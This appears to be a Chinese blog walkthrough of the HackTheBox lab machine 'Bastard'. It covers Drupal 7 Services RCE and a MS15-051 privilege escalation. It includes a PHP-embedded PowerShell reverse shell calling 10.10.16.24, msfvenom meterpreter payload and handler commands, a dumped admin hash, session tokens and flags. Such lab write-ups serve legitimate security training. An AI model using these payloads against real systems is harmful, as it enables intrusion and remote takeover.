当前位置: 首页 > article >正文

[Meachines] [Medium] Bastard Drupal 7 Module Services-RCE+MS15-051权限提升

信息收集

IP AddressOpening Ports
10.10.10.9TCP:80,135,49154

$ nmap -p- 10.10.10.9 --min-rate 1000 -sC -sV

PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Welcome to Bastard | Bastard
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Drupal 7 Module Services-RCE

http://10.10.10.9/

image.png

http://10.10.10.9/robots.txt

image-2.png

http://10.10.10.9/CHANGELOG.txt

image-3.png

https://www.exploit-db.com/exploits/41564

image-4.png

$url = 'http://10.10.10.9';
$endpoint_path = '/rest';
$endpoint = 'rest_endpoint';

$file = [
    'filename' => 'shell.php',
    'data' => '<?php system("powershell -nop -c \"\$client = New-Object System.Net.Sockets.TCPClient(\'10.10.16.24\',10032);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + \'PS \' + (pwd).Path + \'> \';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\""); ?>'
];

$ sudo apt install php-curl

$ php exp.php

image-6.png

image-7.png

{
    "session_name": "SESSd873f26fc11f2b7e6e4aa0f6fce59913",
    "session_id": "Zw1wwWt-USZemMbiPVyHFCCpPqvnw5cbjPgL-2YDF08",
    "token": "BFVo-XA0XA1ysC6wUlZUmKTveSWztk31k8DKdRSTA8Y"
}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

{
    "uid": "1",
    "name": "admin",
    "mail": "drupal@hackthebox.gr",
    "theme": "",
    "created": "1489920428",
    "access": "1492102672",
    "login": 1724736333,
    "status": "1",
    "timezone": "Europe\/Athens",
    "language": "",
    "picture": null,
    "init": "drupal@hackthebox.gr",
    "data": false,
    "roles": {
        "2": "authenticated user",
        "3": "administrator"
    },
    "rdf_mapping": {
        "rdftype": [
            "sioc:UserAccount"
        ],
        "name": {
            "predicates": [
                "foaf:name"
            ]
        },
        "homepage": {
            "predicates": [
                "foaf:page"
            ],
            "type": "rel"
        }
    },
    "pass": "$S$DRYKUR0xDeqClnV5W0dnncafeE.Wi4YytNcBmmCtwOjrcH5FJSaE"
}

image-10.png

User.txt

da68abc3febb3f3a8613aaaf363ebbdc

权限提升 && MS15-051

$ impacket-smbserver share /tmp -smb2support

PS C:\Users> dir \\10.10.16.24\share

image-11.png

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.24 LPORT=10033 -f exe -o payload.exe

将会话转移至msf

msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set LHOST 0.0.0.0

msf6 exploit(multi/handler) > set LPORT 10033

msf6 exploit(multi/handler) > exploit

PS C:\inetpub\drupal-7.54> \\10.10.16.24\share\payload.exe

image-12.png

msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester

msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1

msf6 post(multi/recon/local_exploit_suggester) > exploit

image-13.png

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051

image-14.png

PS C:\inetpub\drupal-7.54> \\10.10.16.24\share\MS15-051-KB3045171\ms15-051x64.exe "whoami"

image-15.png

msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set LHOST 0.0.0.0

msf6 exploit(multi/handler) > set LPORT 10033

msf6 exploit(multi/handler) > exploit

PS C:\inetpub\drupal-7.54> \\10.10.16.24\share\MS15-051-KB3045171\ms15-051x64.exe "\\10.10.16.24\share\payload.exe"

image-16.png

Root.txt

ba5ae3c3b7faa2048e85f591c5ed023a


http://www.kler.cn/news/283207.html

相关文章:

  • 参数高效的模型微调
  • 【学习笔记】技术分析-华为智驾控制器MDC Pro 610分析
  • 怎么自定义spring security对用户信息进行校验及密码的加密校验
  • 关于springboot的异常处理以及源码分析(二)
  • 【面试04】ARM架构问题
  • 从 MLOps 到 LMOps 的关键技术嬗变
  • 红黑树刨析(删除部分)
  • 阿里PAI-ChatLearn:大规模 Alignment高效训练框架正式开源
  • 【C++笔记】类和对象的深入理解(一)
  • MySQL:简述数据库的主从复制
  • 08:字符串
  • 用mintupgrade工具将Linux Mint 21.3升级到Linux Mint 22失败的解决办法
  • Python私教张大鹏FastAPI开源框架和项目第一次整理 20240830
  • chapter09-OOP高级部分——(抽象类模版设计模式)——day12
  • Android APK打包脚本
  • 非阻塞式定时器 apscheduler
  • 力扣8.28
  • 2024年八大在线流程图工具推荐,快来试试吧!
  • 基于asp.net的在线考试系统源码分享
  • Mysql8.x配置详解
  • 回归预测|基于CNN-LSTM-Attention结合Adaboost集成数据预测Matlab程序 多特征输入单输出
  • 喜羊羊做Python二级(模拟考试--易错点)
  • 算法练习: 矩阵置零
  • 对于虚拟机上的相关命令
  • leetcode 19.删除链表的倒数第N个结点
  • LuaJit分析(七)LuaJit -b 命令分析
  • Linux基础 -- 网络工具之curl使用
  • 【JAVA】后端开发中的数据结构:基础知识与应用场景
  • 从 7000 余项目脱颖而出,飞轮科技《新一代实时分析数据仓库解决方案》荣获 HICOOL 2024 全球创业大赛二等奖
  • Oracle字符串聚合函数LISTAGG